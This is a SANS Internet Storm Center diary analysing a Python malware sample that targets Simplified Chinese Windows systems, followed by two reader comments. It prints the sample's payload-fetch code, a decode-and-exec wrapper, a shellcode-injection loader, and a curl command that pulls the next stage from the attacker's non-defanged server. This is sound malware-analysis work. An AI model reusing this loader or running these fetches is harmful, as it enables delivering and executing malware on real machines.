Threat Level: green Handler on Duty: Guy Bruneau

SANS ISC: SANS Internet Storm Center SANS ISC InfoSec Forums

Watch ISC TV. Great for NOCs, SOCs and Living Rooms: https://isctv.sans.edu

Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!
Malicious Python Script Targeting Chinese People

This week I found a lot of interesting scripts as this is my fourth diary in a row! I spotted a Python script that targets Chinese people. The script has a very low VT score (2/56) (SHA256:aaec7f4829445c89237694a654a731ee5a52fae9486b1d2bce5767d1ec30c7fb). How attackers can restricts their surface attack to some regions, countries or people?

The script implements a simple direct API call using the ctypes library:

dll_h = ctypes.windll.kernel32
if (dll_h.GetSystemDefaultUILanguage() != 2052):
    print(1)
    #exit(0)

GetSystemDefaultUILanguage() is a Microsoft API call that returns the system default UI language of the operating system[1]. If the language code is not 2052, the script exits. The valid 2052 correspond to "Simplified Chinese"[2]. Note that the script uploaded to VT was probably still being debugged or developed because exit() has been commented.

I had a look at the script which decoded a shell code using a Base85 encoding:

global c
url = 'hxxp://fileserverhk[.]oss-cn-hongkong[.]aliyuncs[.]com/home/js/js.js'
req = urllib.request.Request(url)
data = urllib.request.urlopen(req).read()
key0 = data[:1]
key1 = data[-5:]
key2 = data[1:len(data)-5]
c = b''.fromhex(key2.replace(key1,key0).decode())
c = base64.b85decode(c)

The shellcode downloads the next stage:

Loaded 348 bytes from file C:\Users\REM\Desktop\c.bin
Initialization Complete..
Max Steps: 2000000
Using base offset: 0x401000

4010a2  LoadLibraryA(wininet)
4010b5  InternetOpenA()
4010d1  InternetConnectA(server: adult[.]up-flash[.]com, port: 8443, )

The shellcode is injected using an Base16/Hex/Base85 encoded code:

def decrypt_eval(str):
    global c
    s1 = base64.b16decode(str.encode()).decode()
    s2 = b''.fromhex(s1)
    s3 = base64.b85decode(s2)
    exec(s3.decode())

The decoded code is classic:

import ctypes;
wiseZERld = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(c)),ctypes.c_int(0x3000),ctypes.c_int(0x40));
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(wiseZERld), c, ctypes.c_int(len(c)));
x = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(wiseZERld),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)));
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(x),ctypes.c_int(-1));

You can find more information in the shellcode to generate the complete URL. The URI is readable and a User-Agent. It must be provided to fetch the content otherwise, an error is returned:

curl -o payload.bin -A "Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Microsoft; RM-1152) AppleWebKit/537.36 (KHTML, like Gecko)" https://adult.up-flash.com:8443/files/ch.jpg

The payload seems encrypted  but I did not find a way to decode it yet. When the payload is executed in a sandbox, it tries to fetch the following URL but a 404 error is returned:

https://adult.up-flash.com:8443/r_config/

There is another behaviour in the Python script and I don't see the purpose of this. Web services are created and binded to the loopback on multiple high-ports:

self.ports = [45990, 44792, 56390, 31590, 32790, 48790, 13080, 25980, 34680, 47980, 51380, 61080]

The webserver just returns a string "c_online_s":

  def handler(self, port):
        ip_port = ('127.0.0.1', port)
        back_log = 10
        buffer_size = 1024
        webserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        webserver.bind(ip_port)
        webserver.listen(back_log)
        while True:
            try:
                conn, addr = webserver.accept()
                if port in self.ports:
                    self.init = True
                recvdata = conn.recv(buffer_size)
                conn.sendall(bytes("HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\n\r\n", "utf-8"))
                conn.sendall(bytes("c_online_s", "utf-8"))
                conn.close()
            except:
                pass

I've no idea about the purpose of this. If you have suggestions, please share!

[1] https://docs.microsoft.com/en-us/windows/win32/api/winnls/nf-winnls-getsystemdefaultuilanguage
[2] https://www.autoitscript.com/autoit3/docs/appendix/OSLangCodes.htm

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

I will be teaching next: Reverse-Engineering Malware: Malware Analysis Tools and Techniques - SANS Secure Japan 2022

Xme

667 Posts
ISC Handler
Jan 6th 2022
Same malware here:
https://www.trendmicro.com/en_us/research/21/g/biopass-rat-new-malware-sniffs-victims-via-live-streaming.html
Anonymous
Some time ago I heard of the opposite case. A malicious software campaign that looked for Russian language computers and if it found one it would stop installation. The expectation was that Russia only criminally prosecuted those cases where damage was done to a citizens' system. The hypothesis was if we installed a Russian language to our Windows system we might actually be more secure.
Anonymous

Sign Up for Free or Log In to start participating in the conversation!